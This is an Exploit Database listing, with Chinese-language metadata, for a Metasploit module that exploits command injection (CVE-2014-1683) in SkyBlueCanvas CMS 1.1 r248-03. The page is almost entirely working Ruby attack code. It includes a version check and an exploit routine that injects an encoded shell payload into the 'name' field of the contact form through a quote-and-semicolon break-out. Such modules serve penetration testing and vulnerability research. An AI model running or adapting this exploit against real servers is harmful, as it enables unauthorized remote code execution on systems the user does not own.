Skybluecanvas CMS – Remote Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2014-02-05
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/31432/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
  'Description'=> %q{
  This module exploits an arbitrary command execution vulnerability
  in SkyBlueCanvas CMS version 1.1 r248-03 and below.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Scott Parish', # Vulnerability discovery and exploit
  'xistence <xistence[at]0x90.nl>' # Metasploit Module
  ],
  'References' =>
  [
  ['CVE', '2014-1683'],
  ['OSVDB', '102586'],
  ['BID', '65129'],
  ['EDB', '31183'],
  ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
  ],
  'Privileged' => false,
  'Payload'=>
  {
  # Arbitrary big number. The payload gets sent as an HTTP
  # response body, so really it's unlimited
  'Space' => 262144, # 256k
  'DisableNops' => true,
  'Compat' =>
  {
  'ConnectionType' => 'find',
  'PayloadType'=> 'cmd',
  'RequiredCmd'=> 'generic perl ruby bash telnet python'
  }
  },
  'Platform' => %w{ unix },
  'Targets'=>
  [
  ['SkyBlueCanvas 1.1 r248', {}]
  ],
  'Arch' => ARCH_CMD,
  'DisclosureDate' => 'Jan 28 2014',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
  ],self.class)
  end
  
  def check
  uri = normalize_uri(target_uri.path.to_s, "index.php")
  
  res = send_request_raw('uri' => uri)
  
  if res and res.body =~ /[1.1 r248]/
  vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
  return Exploit::CheckCode::Appears
  end
  
  Exploit::CheckCode::Safe
  end
  
  def exploit
  uri = normalize_uri(target_uri.path.to_s, "index.php")
  
  send_request_cgi({
  'method'=> 'POST',
  'uri' => uri,
  'vars_get' => { 'pid' => '4' },
  'vars_post' =>
  {
  'cid' => '3',
  'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
  'email' => rand_text_alphanumeric(10),
  'subject' => rand_text_alphanumeric(10),
  'message' => rand_text_alphanumeric(10),
  'action' => 'Send'
  }
  })
  end
  end